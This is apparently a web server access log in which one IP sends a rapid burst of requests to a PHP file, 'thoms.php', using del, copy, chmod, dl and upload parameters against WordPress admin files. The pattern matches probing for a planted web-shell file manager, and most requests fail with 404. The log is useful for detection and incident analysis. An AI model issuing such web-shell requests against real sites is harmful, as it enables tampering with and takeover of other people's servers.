45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?del=widgets-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-comments.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-comments.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /biotaiwan.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?chmod=link-manager.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?dl=site-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?dl=site-health-info.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?del=edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /biotaiwan.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?chmod=admin-footer.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?del=options-connectors.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /biotaiwan.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /biotaiwan.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?dl=ms-users.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?del=plugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fpost.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fpost.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?del=load-scripts.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?del=maint&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=maint&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /biotaiwan.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fterm.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fterm.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /biotaiwan.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?chmod=user-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /biotaiwan.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmenu.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmenu.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?dl=ms-options.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-reading.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-reading.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /biotaiwan.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?chmod=plugins.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?chmod=plugin-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fwidgets-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fwidgets-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?dl=import.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=import.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?del=nav-menus.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?chmod=options-connectors.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:03 -0400] "GET /thoms.php?del=options-media.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?dl=admin-post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?del=moderation.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?chmod=options-privacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?dl=plugins.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?del=setup-config.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /biotaiwan.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /biotaiwan.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?del=font-library.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-discussion.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-discussion.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fnetwork.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fnetwork.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:04 -0400] "GET /biotaiwan.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?del=edit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?dl=options-privacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?chmod=term.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?dl=install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /biotaiwan.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?del=about.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=about.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmedia-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmedia-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:05 -0400] "GET /biotaiwan.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?chmod=options-writing.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
